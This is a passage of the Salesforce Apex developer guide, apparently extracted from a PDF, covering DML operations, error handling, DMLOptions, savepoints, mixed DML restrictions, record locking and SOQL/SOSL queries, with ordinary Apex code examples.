129
DML OperationsWorking with Data in Apex
•Merged fields: If data is merged into existing account and contact objects, only empty fields in the target object are
overwritten—existing data (including IDs) are not overwritten. The only exception is if you specify setOverwriteLeadSource
on the LeadConvert object to true, in which case the LeadSource field in the target contact object is overwritten with the
contents of the LeadSource field in the source LeadConvert object.
•Record types: If the organization uses record types, the default record type of the new owner is assigned to records created during
lead conversion. The default record type of the user converting the lead determines the lead source values available during conversion.
If the desired lead source values are not available, add the values to the default record type of the user converting the lead. For more
information about record types, see the Salesforce online help.
•Picklist values: The system assigns the default picklist values for the account, contact, and opportunity when mapping any standard
lead picklist fields that are blank. If your organization uses record types, blank values are replaced with the default picklist values of
the new record owner.
•Automatic feed subscriptions: When you convert a lead into a new account, contact, and opportunity, the lead owner is unsubscribed
from the lead account. The lead owner, the owner of the generated records, and users that were subscribed to the lead aren’t
automatically subscribed to the generated records, unless they have automatic subscriptions enabled in their Chatter feed settings.
They must have automatic subscriptions enabled to see changes to the account, contact, and opportunity records in their news
feed. To subscribe to records they create, users must enable the Automatically follow records that I create
option in their personal settings. A user can subscribe to a record so that changes to the record display in the news feed on the user's
home page. This is a useful way to stay up-to-date with changes to records in Salesforce.
DML Exceptions and Error Handling
Exception Handling
DML statements return run-time exceptions if something went wrong in the database during the execution of the DML operations. You
can handle the exceptions in your code by wrapping your DML statements within try-catch blocks. The following example includes the
insert DML statement inside a try-catch block.
Account a = new Account(Name='Acme');
try {
insert a;
}catch(DmlException e) {
// Process exception here
}
Database Class Method Result Objects
Database class methods return the results of the data operation. These result objects contain useful information about the data operation
for each record, such as whether the operation was successful or not, and any error information. Each type of operation returns a specific
result object type, as outlined below.
Result ClassOperation
SaveResult Classinsert, update
UpsertResult Classupsert
MergeResult Classmerge
DeleteResult Classdelete
130
DML Exceptions and Error HandlingWorking with Data in Apex
Result ClassOperation
UndeleteResult Classundelete
LeadConvertResult ClassconvertLead
EmptyRecycleBinResult ClassemptyRecycleBin
Returned Database Errors
While DML statements always return exceptions when an operation fails for one of the records being processed and the operation is
rolled back for all records, Database class methods can either do so or allow partial success for record processing. In the latter case of
partial processing, Database class methods don’t throw exceptions. Instead, they return a list of errors for any errors that occurred on
failed records.
The errors provide details about the failures and are contained in the result of the Database class method. For example, a SaveResult
object is returned for insert and update operations. Like all returned results, SaveResult contains a method called getErrors
that returns a list of Database.Error objects, representing the errors encountered, if any.
Example
This example shows how to get the errors returned by a Database.insert operation. It inserts two accounts, one of which doesn’t
have the required Name field, and sets the second parameter to false: Database.insert(accts, false);. This sets the
partial processing option. Next, the example checks if the call had any failures through if (!sr.isSuccess()) and then iterates
through the errors, writing error information to the debug log.
// Create two accounts, one of which is missing a required field
Account[] accts = new List<Account>{
new Account(Name='Account1'),
new Account()};
Database.SaveResult[] srList = Database.insert(accts, false);
// Iterate through each returned result
for (Database.SaveResult sr : srList) {
if (!sr.isSuccess()) {
// Operation failed, so get all errors
for(Database.Error err : sr.getErrors()) {
System.debug('The following error has occurred.');
System.debug(err.getStatusCode() + ': ' + err.getMessage());
System.debug('Fields that affected this error: ' + err.getFields());
}
}
}
More About DML
Setting DML Options
You can specify DML options for insert and update operations by setting the desired options in the Database.DMLOptions object.
You can set Database.DMLOptions for the operation by calling the setOptions method on the sObject, or by passing it as
a parameter to the Database.insert and Database.update methods.
131
More About DMLWorking with Data in Apex
Using DML options, you can specify:
•The truncation behavior of fields.
•Assignment rule information.
•Duplicate rule information.
•Whether automatic emails are sent.
•The user locale for labels.
•Whether the operation allows for partial success.
The Database.DMLOptions class has the following properties:
•allowFieldTruncation Property
•assignmentRuleHeader Property
•dupicateRuleHeader
•emailHeader Property
•localeOptions Property
•optAllOrNone Property
DMLOptions is only available for Apex saved against API versions 15.0 and higher. DMLOptions settings take effect only for record
operations performed using Apex DML and not through the Salesforce user interface.
allowFieldTruncation Property
The allowFieldTruncation property specifies the truncation behavior of strings. In Apex saved against API versions previous
to 15.0, if you specify a value for a string and that value is too large, the value is truncated. For API version 15.0 and later, if a value is
specified that is too large, the operation fails and an error message is returned. The allowFieldTruncation property allows you
to specify that the previous behavior, truncation, be used instead of the new behavior in Apex saved against API versions 15.0 and later.
The allowFieldTruncation property takes a Boolean value. If true, the property truncates String values that are too long,
which is the behavior in API versions 14.0 and earlier. For example:
Database.DMLOptions dml = new Database.DMLOptions();
dml.allowFieldTruncation = true;
assignmentRuleHeader Property
The assignmentRuleHeader property specifies the assignment rule to be used when creating a case or lead.
Note: The Database.DMLOptions object supports assignment rules for cases and leads, but not for accounts or territory management.
Using the assignmentRuleHeader property, you can set these options:
•assignmentRuleID: The ID of an assignment rule for the case or lead. The assignment rule can be active or inactive. The ID
can be retrieved by querying the AssignmentRule sObject. If specified, do not specify useDefaultRule. If the value is not in
the correct ID format (15-character or 18-character Salesforce ID), the call fails and an exception is returned.
•useDefaultRule: Indicates whether the default (active) assignment rule will be used for a case or lead. If specified, do not
specify an assignmentRuleId.
The following example uses the useDefaultRule option:
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.useDefaultRule= true;
132
More About DMLWorking with Data in Apex
Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;
The following example uses the assignmentRuleID option:
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.assignmentRuleId= '01QD0000000EqAn';
Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;
Note: If there are no assignment rules in the organization, in API version 29.0 and earlier, creating a case or lead with
useDefaultRule set to true results in the case or lead being assigned to the predefined default owner. In API version 30.0
and later, the case or lead is unassigned and doesn't get assigned to the default owner.
dupicateRuleHeader Property
The dupicateRuleHeader property determines whether a record that’s identified as a duplicate can be saved. Duplicate rules
are part of the Duplicate Management feature.
Using the dupicateRuleHeader property, you can set these options.
•allowSave: Indicates whether a record that’s identified as a duplicate can be saved.
The following example shows how to save an account record that’s been identified as a duplicate. To learn how to iterate through
duplicate errors, see DuplicateError Class
Database.DMLOptions dml = new Database.DMLOptions();
dml.DuplicateRuleHeader.AllowSave = true;
Account duplicateAccount = new Account(Name='dupe');
Database.SaveResult sr = Database.insert(duplicateAccount, dml);
if (sr.isSuccess()) {
System.debug('Duplicate account has been inserted in Salesforce!');
}
emailHeader Property
The Salesforce user interface allows you to specify whether or not to send an email when the following events occur:
•Creation of a new case or task
•Conversion of a case email to a contact
•New user email notification
•Lead queue email notification
•Password reset
In Apex saved against API version 15.0 or later, the Database.DMLOptions emailHeader property enables you to specify additional
information regarding the email that gets sent when one of the events occurs because of Apex DML code execution.
Using the emailHeader property, you can set these options.
•triggerAutoResponseEmail: Indicates whether to trigger auto-response rules (true) or not (false), for leads and cases.
This email can be automatically triggered by a number of events, for example when creating a case or resetting a user password. If
133
More About DMLWorking with Data in Apex
this value is set to true, when a case is created, if there is an email address for the contact specified in ContactID, the email is
sent to that address. If not, the email is sent to the address specified in SuppliedEmail.
•triggerOtherEmail: Indicates whether to trigger email outside the organization (true) or not (false). This email can be
automatically triggered by creating, editing, or deleting a contact for a case.
•triggerUserEmail: Indicates whether to trigger email that is sent to users in the organization (true) or not (false). This
email can be automatically triggered by a number of events; resetting a password, creating a new user, or creating or modifying a
task.
Note: Adding comments to a case in Apex doesn’t trigger email to users in the organization even if triggerUserEmail
is set to true.
Even though auto-sent emails can be triggered by actions in the Salesforce user interface, the DMLOptions settings for emailHeader
take effect only for DML operations carried out in Apex code.
In the following example, the triggerAutoResponseEmail option is specified:
Account a = new Account(name='Acme Plumbing');
insert a;
Contact c = new Contact(email='jplumber@salesforce.com', firstname='Joe',lastname='Plumber',
accountid=a.id);
insert c;
Database.DMLOptions dlo = new Database.DMLOptions();
dlo.EmailHeader.triggerAutoResponseEmail = true;
Case ca = new Case(subject='Plumbing Problems', contactid=c.id);
database.insert(ca, dlo);
Email sent through Apex because of a group event includes additional behaviors. A group event is an event for which IsGroupEvent
is true. The EventAttendee object tracks the users, leads, or contacts that are invited to a group event. Note the following behaviors for
group event email sent through Apex:
•Sending a group event invitation to a user respects the triggerUserEmail option
•Sending a group event invitation to a lead or contact respects the triggerOtherEmail option
•Email sent when updating or deleting a group event also respects the triggerUserEmail and triggerOtherEmail
options, as appropriate
localeOptions Property
The localeOptions property specifies the language of any labels that are returned by Apex. The value must be a valid user locale
(language and country), such as de_DE or en_GB. The value is a String, 2-5 characters long. The first two characters are always an ISO
language code, for example 'fr' or 'en.' If the value is further qualified by a country, then the string also has an underscore (_) and another
ISO country code, for example 'US' or 'UK.' For example, the string for the United States is 'en_US', and the string for French Canadian is
'fr_CA.'
For a list of the languages that Salesforce supports, see Supported Languages in the Salesforce online help.
134
More About DMLWorking with Data in Apex
optAllOrNone Property
The optAllOrNone property specifies whether the operation allows for partial success. If optAllOrNone is set to true, all
changes are rolled back if any record causes errors. The default for this property is false and successfully processed records are
committed while records with errors aren't. This property is available in Apex saved against Salesforce API version 20.0 and later.
Transaction Control
All requests are delimited by the trigger, class method, Web Service, Visualforce page or anonymous block that executes the Apex code.
If the entire request completes successfully, all changes are committed to the database. For example, suppose a Visualforce page called
an Apex controller, which in turn called an additional Apex class. Only when all the Apex code has finished running and the Visualforce
page has finished running, are the changes committed to the database. If the request does not complete successfully, all database
changes are rolled back.
Sometimes during the processing of records, your business rules require that partial work (already executed DML statements) be “rolled
back” so that the processing can continue in another direction. Apex gives you the ability to generate a savepoint, that is, a point in the
request that specifies the state of the database at that time. Any DML statement that occurs after the savepoint can be discarded, and
the database can be restored to the same condition it was in at the time you generated the savepoint.
The following limitations apply to generating savepoint variables and rolling back the database:
•If you set more than one savepoint, then roll back to a savepoint that is not the last savepoint you generated, the later savepoint
variables become invalid. For example, if you generated savepoint SP1 first, savepoint SP2 after that, and then you rolled back
to SP1, the variable SP2 would no longer be valid. You will receive a runtime error if you try to use it.
•References to savepoints cannot cross trigger invocations because each trigger invocation is a new trigger context. If you declare a
savepoint as a static variable then try to use it across trigger contexts, you will receive a run-time error.
•Each savepoint you set counts against the governor limit for DML statements.
•Static variables are not reverted during a rollback. If you try to run the trigger again, the static variables retain the values from the
first run.
•Each rollback counts against the governor limit for DML statements. You will receive a runtime error if you try to rollback the database
additional times.
•The ID on an sObject inserted after setting a savepoint is not cleared after a rollback. Create an sObject to insert after a rollback.
Attempting to insert the sObject using the variable created before the rollback fails because the sObject variable has an ID. Updating
or upserting the sObject using the same variable also fails because the sObject is not in the database and, thus, cannot be updated.
The following is an example using the setSavepoint and rollback Database methods.
Account a = new Account(Name = 'xxx'); insert a;
System.assertEquals(null, [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
AccountNumber);
// Create a savepoint while AccountNumber is null
Savepoint sp = Database.setSavepoint();
// Change the account number
a.AccountNumber = '123';
update a;
System.assertEquals('123', [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
AccountNumber);
// Rollback to the previous null value
Database.rollback(sp);
135
More About DMLWorking with Data in Apex
System.assertEquals(null, [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
AccountNumber);
sObjects That Cannot Be Used Together in DML Operations
DML operations on certain sObjects, sometimes referred to as setup objects, can’t be mixed with DML on other sObjects in the same
transaction. This restriction exists because some sObjects affect the user’s access to records in the org. You must insert or update these
types of sObjects in a different transaction to prevent operations from happening with incorrect access-level permissions. For example,
you can’t update an account and a user role in a single transaction. However, deleting a DML operation has no restrictions.
You can’t use the following sObjects with other sObjects when performing DML operations in the same transaction.
•FieldPermissions
•Group
You can only insert and update a group in a transaction with other sObjects. Other DML operations aren’t allowed.
•GroupMember
You can insert and update a group member only in a transaction with other sObjects in Apex code saved using Salesforce API version
14.0 and earlier.
•ObjectPermissions
•PermissionSet
•PermissionSetAssignment
•QueueSObject
•ObjectTerritory2AssignmentRule
•ObjectTerritory2AssignmentRuleItem
•RuleTerritory2Association
•SetupEntityAccess
•Territory2
•Territory2Model
•UserTerritory2Association
•User
You can insert a user in a transaction with other sObjects in Apex code saved using Salesforce API version 14.0 and earlier.
You can insert a user in a transaction with other sObjects in Apex code saved using Salesforce API version 15.0 and later if
UserRoleId is specified as null.
You can update a user in a transaction with other sObjects in Apex code saved using Salesforce API version 14.0 and earlier
You can update a user in a transaction with other sObjects in Apex code saved using Salesforce API version 15.0 and later if the
following fields are not also updated:
–UserRoleId
–IsActive
–ForecastEnabled
–IsPortalEnabled
–Username
–ProfileId
136
More About DMLWorking with Data in Apex
•UserRole
•UserTerritory
•Territory
•Custom settings in Apex code saved using Salesforce API version 17.0 and earlier.
If you're using a Visualforce page with a custom controller, you can't mix sObject types with any of these special sObjects within a single
request or action. However, you can perform DML operations on these different types of sObjects in subsequent requests. For example,
you can create an account with a save button, and then create a user with a non-null role with a submit button.
You can perform DML operations on more than one type of sObject in a single class using the following process:
1. Create a method that performs a DML operation on one type of sObject.
2. Create a second method that uses the future annotation to manipulate a second sObject type.
This process is demonstrated in the example in the next section.
Example: Using a Future Method to Perform Mixed DML Operations
This example shows how to perform mixed DML operations by using a future method to perform a DML operation on the User object.
public class MixedDMLFuture {
public static void useFutureMethod() {
// First DML operation
Account a = new Account(Name='Acme');
insert a;
// This next operation (insert a user with a role)
// can't be mixed with the previous insert unless
// it is within a future method.
// Call future method to insert a user with a role.
Util.insertUserWithRole(
'mruiz@awcomputing.com','mruiz',
'mruiz@awcomputing.com','Ruiz');
}
}
public class Util {
@future
public static void insertUserWithRole(
String uname, String al, String em, String lname) {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
// Create new user with a non-null user role ID
User u = new User(alias = al, email=em,
emailencodingkey='UTF-8', lastname=lname,
languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
timezonesidkey='America/Los_Angeles',
username=uname);
insert u;
}
}
137
More About DMLWorking with Data in Apex
Mixed DML Operations in Test Methods
Test methods allow for performing mixed Data Manipulation Language (DML) operations that include both setup sObjects and other
sObjects if the code that performs the DML operations is enclosed within System.runAs method blocks. You can also perform DML
in an asynchronous job that your test method calls. These techniques enable you, for example, to create a user with a role and other
sObjects in the same test.
The setup sObjects are listed in sObjects That Cannot Be Used Together in DML Operations.
Example: Mixed DML Operations in System.runAs Blocks
This example shows how to enclose mixed DML operations within System.runAs blocks to avoid the mixed DML error. The
System.runAs block runs in the current user’s context. It creates a test user with a role and a test account, which is a mixed DML
operation.
@isTest
private class MixedDML {
static testMethod void mixedDMLExample() {
User u;
Account a;
User thisUser = [SELECT Id FROM User WHERE Id = :UserInfo.getUserId()];
// Insert account as current user
System.runAs (thisUser) {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
u=new User(alias = 'jsmith', email='jsmith@acme.com',
emailencodingkey='UTF-8', lastname='Smith',
languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
timezonesidkey='America/Los_Angeles',
username='jsmith@acme.com');
insert u;
a=new Account(name='Acme');
insert a;
}
}
}
Use @future to Bypass the Mixed DML Error in a Test Method
Mixed DML operations within a single transaction aren’t allowed. You can’t perform DML on a setup sObject and another sObject in the
same transaction. However, you can perform one type of DML as part of an asynchronous job and the others in other asynchronous jobs
or in the original transaction. This class contains an @future method to be called by the class in the subsequent example.
public class InsertFutureUser {
@future
public static void insertUser() {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
User futureUser = new User(firstname = 'Future', lastname = 'User',
alias = 'future', defaultgroupnotificationfrequency = 'N',
digestfrequency = 'N', email = 'test@test.org',
emailencodingkey = 'UTF-8', languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id,
138
More About DMLWorking with Data in Apex
timezonesidkey = 'America/Los_Angeles',
username = 'futureuser@test.org',
userpermissionsmarketinguser = false,
userpermissionsofflineuser = false, userroleid = r.Id);
insert(futureUser);
}
}
This class calls the method in the previous class.
@isTest
public class UserAndContactTest {
public testmethod static void testUserAndContact() {
InsertFutureUser.insertUser();
Contact currentContact = new Contact(
firstName = String.valueOf(System.currentTimeMillis()),
lastName = 'Contact');
insert(currentContact);
}
}
sObjects That Don’t Support DML Operations
Your organization contains standard objects provided by Salesforce and custom objects that you created. These objects can be accessed
in Apex as instances of the sObject data type. You can query these objects and perform DML operations on them. However, some
standard objects don’t support DML operations although you can still obtain them in queries. They include the following:
•AccountTerritoryAssignmentRule
•AccountTerritoryAssignmentRuleItem
•ApexComponent
•ApexPage
•BusinessHours
•BusinessProcess
•CategoryNode
•CurrencyType
•DatedConversionRate
•NetworkMember (allows update only)
•ProcessInstance
•Profile
•RecordType
•SelfServiceUser
•StaticResource
•Territory2
•UserAccountTeamMember
•UserTerritory
•WebLink
139
More About DMLWorking with Data in Apex
Note: All standard and custom objects can also be accessed through the SOAP API. ProcessInstance is an exception. You can’t
create, update, or delete ProcessInstance in the SOAP API.
Bulk DML Exception Handling
Exceptions that arise from a bulk DML call (including any recursive DML operations in triggers that are fired as a direct result of the call)
are handled differently depending on where the original call came from:
•When errors occur because of a bulk DML call that originates directly from the Apex DML statements, or if the allOrNone
parameter of a Database DML method was specified as true, the runtime engine follows the “all or nothing” rule: during a single
operation, all records must be updated successfully or the entire operation rolls back to the point immediately preceding the DML
statement.
•When errors occur because of a bulk DML call that originates from the SOAP API with default settings, or if the allOrNone
parameter of a Database DML method was specified as false, the runtime engine attempts at least a partial save:
1. During the first attempt, the runtime engine processes all records. Any record that generates an error due to issues such as
validation rules or unique index violations is set aside.
2. If there were errors during the first attempt, the runtime engine makes a second attempt that includes only those records that
did not generate errors. All records that didn't generate an error during the first attempt are processed, and if any record generates
an error (perhaps because of race conditions) it is also set aside.
3. If there were additional errors during the second attempt, the runtime engine makes a third and final attempt which includes
only those records that didn’t generate errors during the first and second attempts. If any record generates an error, the entire
operation fails with the error message, “Too many batch retries in the presence of Apex triggers and partial failures.”
Note: Note the following:
–During the second and third attempts, governor limits are reset to their original state before the first attempt. See Execution
Governors and Limits on page 274.
–Apex triggers are fired for the first save attempt, and if errors are encountered for some records and subsequent attempts
are made to save the subset of successful records, triggers are re-fired on this subset of records.
Things You Should Know about Data in Apex
Non-Null Required Fields Values and Null Fields
When inserting new records or updating required fields on existing records, you must supply non-null values for all required fields.
Unlike the SOAP API, Apex allows you to change field values to null without updating the fieldsToNull array on the sObject
record. The API requires an update to this array due to the inconsistent handling of null values by many SOAP providers. Because
Apex runs solely on the Force.com platform, this workaround is unnecessary.
DML Not Supported with Some sObjects
DML operations are not supported with certain sObjects. See sObjects That Don’t Support DML Operations.
String Field Truncation and API Version
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value
that is too long for the field.
sObject Properties to Enable DML Operations
To be able to insert, update, delete, or undelete an sObject record, the sObject must have the corresponding property (createable,
updateable, deletable, or undeletable respectively) set to true.
140
More About DMLWorking with Data in Apex
ID Values
The insert statement automatically sets the ID value of all new sObject records. Inserting a record that already has an ID—and
therefore already exists in your organization's data—produces an error. See Lists for more information.
The insert and update statements check each batch of records for duplicate ID values. If there are duplicates, the first five are
processed. For the sixth and all additional duplicate IDs, the SaveResult for those entries is marked with an error similar to the following:
Maximum number of duplicate updates in one batch (5 allowed). Attempt to update Id
more than once in this API call: number_of_attempts.
The ID of an updated sObject record cannot be modified in an update statement, but related record IDs can.
Fields With Unique Constraints
For some sObjects that have fields with unique constraints, inserting duplicate sObject records results in an error. For example,
inserting CollaborationGroup sObjects with the same names results in an error because CollaborationGroup records must have
unique names.
System Fields Automatically Set
When inserting new records, system fields such as CreatedDate, CreatedById, and SystemModstamp are automatically
updated. You cannot explicitly specify these values in your Apex. Similarly, when updating records, system fields such as
LastModifiedDate, LastModifiedById, and SystemModstamp are automatically updated.
Maximum Number of Records Processed by DML Statement
You can pass a maximum of 10,000 sObject records to a single insert, update, delete, and undelete method.
Each upsert statement consists of two operations, one for inserting records and one for updating records. Each of these operations
is subject to the runtime limits for insert and update, respectively. For example, if you upsert more than 10,000 records and
all of them are being updated, you receive an error. (See Execution Governors and Limits on page 274)
Upsert and Foreign Keys
You can use foreign keys to upsert sObject records if they have been set as reference fields. For more information, see Field Types
in the Object Reference for Salesforce and Force.com.
Creating Records for Multiple Object Types
As with the SOAP API, you can create records in Apex for multiple object types, including custom objects, in one DML call with API
version 20.0 and later. For example, you can create a contact and an account in one call. You can create records for up to 10 object
types in one call.
Records are saved in the same order that they’re entered in the sObject input array. If you’re entering new records that have a
parent-child relationship, the parent record must precede the child record in the array. For example, if you’re creating a contact that
references an account that’s also being created in the same call, the account must have a smaller index in the array than the contact
does. The contact references the account by using an External ID field.
You can’t add a record that references another record of the same object type in the same call. For example, the Contact object has
a Reports To field that’s a reference to another contact. You can’t create two contacts in one call if one contact uses the
Reports To field to reference a second contact in the input array. You can create a contact that references another contact that
has been previously created.
Records for multiple object types are broken into multiple chunks by Salesforce. A chunk is a subset of the input array, and each
chunk contains records of one object type. Data is committed on a chunk-by-chunk basis. Any Apex triggers that are related to the
records in a chunk are invoked once per chunk. Consider an sObject input array that contains the following set of records:
account1, account2, contact1, contact2, contact3, case1, account3, account4, contact4
Salesforce splits the records into five chunks:
1. account1, account2
2. contact1, contact2, contact3
141
More About DMLWorking with Data in Apex
3. case1
4. account3, account4
5. contact4
Each call can process up to 10 chunks. If the sObject array contains more than 10 chunks, you must process the records in more than
one call. For additional information about this feature, see Creating Records for Different Object Types in the SOAP API Developer's
Guide.
Note: For Apex, the chunking of the input array for an insert or update DML operation has two possible causes: the existence
of multiple object types or the default chunk size of 200. If chunking in the input array occurs because of both of these reasons,
each chunk is counted toward the limit of 10 chunks. If the input array contains only one type of sObject, you won’t hit this
limit. However, if the input array contains at least two sObject types and contains a high number of objects that are chunked
into groups of 200, you might hit this limit. For example, if you have an array that contains 1,001 consecutive leads followed
by 1,001 consecutive contacts, the array will be chunked into 12 groups: Two groups are due to the different sObject types of
Lead and Contact, and the remaining are due to the default chunking size of 200 objects. In this case, the insert or update
operation returns an error because you reached the limit of 10 chunks in hybrid arrays. The workaround is to call the DML
operation for each object type separately.
DML and Knowledge Objects
To execute DML code on knowledge articles (KnowledgeArticleVersion types such as the custom FAQ__kav article type), the running
user must have the Knowledge User feature license. Otherwise, calling a class method that contains DML operations on knowledge
articles results in errors. If the running user isn’t a system administrator and doesn’t have the Knowledge User feature license, calling
any method in the class returns an error even if the called method doesn’t contain DML code for knowledge articles but another
method in the class does. For example, the following class contains two methods, only one of which performs DML on a knowledge
article. A non-administrator non-knowledge user who calls the doNothing method will get the following error: DML operation
UPDATE not allowed on FAQ__kav
public class KnowledgeAccess {
public void doNothing() {
}
public void DMLOperation() {
FAQ__kav[] articles = [SELECT Id FROM FAQ__kav WHERE PublishStatus = 'Draft' and
Language = 'en_US'];
update articles;
}
}
As a workaround, cast the input array to the DML statement from an array of FAQ__kav articles to an array of the generic sObject
type as follows:
public void DMLOperation() {
FAQ__kav[] articles = [SELECT id FROM FAQ__kav WHERE PublishStatus = 'Draft' and
Language = 'en_US'];
update (sObject[]) articles;
}
142
More About DMLWorking with Data in Apex
Locking Records
Locking Statements
In Apex, you can use FOR UPDATE to lock sObject records while they’re being updated in order to prevent race conditions and other
thread safety problems.
While an sObject record is locked, no other client or user is allowed to make updates either through code or the Salesforce user interface.
The client locking the records can perform logic on the records and make updates with the guarantee that the locked records won’t be
changed by another client during the lock period. The lock gets released when the transaction completes.
To lock a set of sObject records in Apex, embed the keywords FOR UPDATE after any inline SOQL statement. For example, the following
statement, in addition to querying for two accounts, also locks the accounts that are returned:
Account [] accts = [SELECT Id FROM Account LIMIT 2 FOR UPDATE];
Note: You can’t use the ORDER BY keywords in any SOQL query that uses locking.
Locking Considerations
•While the records are locked by a client, the locking client can modify their field values in the database in the same transaction. Other
clients have to wait until the transaction completes and the records are no longer locked before being able to update the same
records. Other clients can still query the same records while they’re locked.
•If you attempt to lock a record currently locked by another client, your process waits for the lock to be released before acquiring a
new lock. If the lock isn’t released within 10 seconds, you will get a QueryException. Similarly, if you attempt to update a record
currently locked by another client and the lock isn’t released within 10 seconds, you will get a DmlException.
•If a client attempts to modify a locked record, the update operation might succeed if the lock gets released within a short amount
of time after the update call was made. In this case, it is possible that the updates will overwrite those made by the locking client if
the second client obtained an old copy of the record. To prevent this from happening, the second client must lock the record first.
The locking process returns a fresh copy of the record from the database through the SELECT statement. The second client can
use this copy to make new updates.
•When you perform a DML operation on one record, related records are locked in addition to the record in question. For more
information, see the Record Locking Cheat Sheet.
Warning: Use care when setting locks in your Apex code. See Avoiding Deadlocks.
Locking in a SOQL For Loop
The FOR UPDATE keywords can also be used within SOQL for loops. For example:
for (Account[] accts : [SELECT Id FROM Account
FOR UPDATE]) {
// Your code
}
As discussed in SOQL For Loops, the example above corresponds internally to calls to the query() and queryMore() methods
in the SOAP API.
Note that there is no commit statement. If your Apex trigger completes successfully, any database changes are automatically committed.
If your Apex trigger does not complete successfully, any changes made to the database are rolled back.
143
Locking RecordsWorking with Data in Apex
Avoiding Deadlocks
Apex has the possibility of deadlocks, as does any other procedural logic language involving updates to multiple database tables or
rows. To avoid such deadlocks, the Apex runtime engine:
1. First locks sObject parent records, then children.
2. Locks sObject records in order of ID when multiple records of the same type are being edited.
As a developer, use care when locking rows to ensure that you are not introducing deadlocks. Verify that you are using standard deadlock
avoidance techniques by accessing tables and rows in the same order from all locations in an application.
SOQL and SOSL Queries
You can evaluate Salesforce Object Query Language (SOQL) or Salesforce Object Search Language (SOSL) statements on-the-fly in Apex
by surrounding the statement in square brackets.
SOQL Statements
SOQL statements evaluate to a list of sObjects, a single sObject, or an Integer for count method queries.
For example, you could retrieve a list of accounts that are named Acme:
List<Account> aa = [SELECT Id, Name FROM Account WHERE Name = 'Acme'];
From this list, you can access individual elements:
if (!aa.isEmpty()) {
// Execute commands
}
You can also create new objects from SOQL queries on existing ones. The following example creates a new contact for the first account
with the number of employees greater than 10:
Contact c = new Contact(Account = [SELECT Name FROM Account
WHERE NumberOfEmployees > 10 LIMIT 1]);
c.FirstName = 'James';
c.LastName = 'Yoyce';
Note that the newly created object contains null values for its fields, which will need to be set.
The count method can be used to return the number of rows returned by a query. The following example returns the total number
of contacts with the last name of Weissman:
Integer i = [SELECT COUNT() FROM Contact WHERE LastName = 'Weissman'];
You can also operate on the results using standard arithmetic:
Integer j = 5 * [SELECT COUNT() FROM Account];
SOQL limits apply when executing SOQL queries. See Execution Governors and Limits.
For a full description of SOQL query syntax, see the Salesforce SOQL and SOSL Reference Guide.
144
SOQL and SOSL QueriesWorking with Data in Apex
SOSL Statements
SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type. The result
lists are always returned in the same order as they were specified in the SOSL query. If a SOSL query does not return any records for a
specified sObject type, the search results include an empty list for that sObject.
For example, you can return a list of accounts, contacts, opportunities, and leads that begin with the phrase map:
List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name),
Contact, Opportunity, Lead];
Note: The syntax of the FIND clause in Apex differs from the syntax of the FIND clause in the SOAP API and REST API :
•In Apex, the value of the FIND clause is demarcated with single quotes. For example:
FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead
•In the Force.com API, the value of the FIND clause is demarcated with braces. For example:
FIND {map*} IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead
From searchList, you can create arrays for each object returned:
Account [] accounts = ((List<Account>)searchList[0]);
Contact [] contacts = ((List<Contact>)searchList[1]);
Opportunity [] opportunities = ((List<Opportunity>)searchList[2]);
Lead [] leads = ((List<Lead>)searchList[3]);
SOSL limits apply when executing SOSL queries. See Execution Governors and Limits.
For a full description of SOSL query syntax, see the Salesforce SOQL and SOSL Reference Guide.
Working with SOQL and SOSL Query Results
SOQL and SOSL queries only return data for sObject fields that are selected in the original query. If you try to access a field that was not
selected in the SOQL or SOSL query (other than ID), you receive a runtime error, even if the field contains a value in the database. The
following code example causes a runtime error:
insert new Account(Name = 'Singha');
Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1];
// Note that name is not selected
String name = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1].Name;
The following is the same code example rewritten so it does not produce a runtime error. Note that Name has been added as part of
the select statement, after Id.
insert new Account(Name = 'Singha');
Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1];
// Note that name is now selected
String name = [SELECT Id, Name FROM Account WHERE Name = 'Singha' LIMIT 1].Name;
145
Working with SOQL and SOSL Query ResultsWorking with Data in Apex
Even if only one sObject field is selected, a SOQL or SOSL query always returns data as complete records. Consequently, you must
dereference the field in order to access it. For example, this code retrieves an sObject list from the database with a SOQL query, accesses
the first account record in the list, and then dereferences the record's AnnualRevenue field:
Double rev = [SELECT AnnualRevenue FROM Account
WHERE Name = 'Acme'][0].AnnualRevenue;
// When only one result is returned in a SOQL query, it is not necessary
// to include the list's index.
Double rev2 = [SELECT AnnualRevenue FROM Account
WHERE Name = 'Acme' LIMIT 1].AnnualRevenue;
The only situation in which it is not necessary to dereference an sObject field in the result of an SOQL query, is when the query returns
an Integer as the result of a COUNT operation:
Integer i = [SELECT COUNT() FROM Account];
Fields in records returned by SOSL queries must always be dereferenced.
Also note that sObject fields that contain formulas return the value of the field at the time the SOQL or SOSL query was issued. Any
changes to other fields that are used within the formula are not reflected in the formula field value until the record has been saved and
re-queried in Apex. Like other read-only sObject fields, the values of the formula fields themselves cannot be changed in Apex.
Accessing sObject Fields Through Relationships
sObject records represent relationships to other records with two fields: an ID and an address that points to a representation of the
associated sObject. For example, the Contact sObject has both an AccountId field of type ID, and an Account field of type Account
that points to the associated sObject record itself.
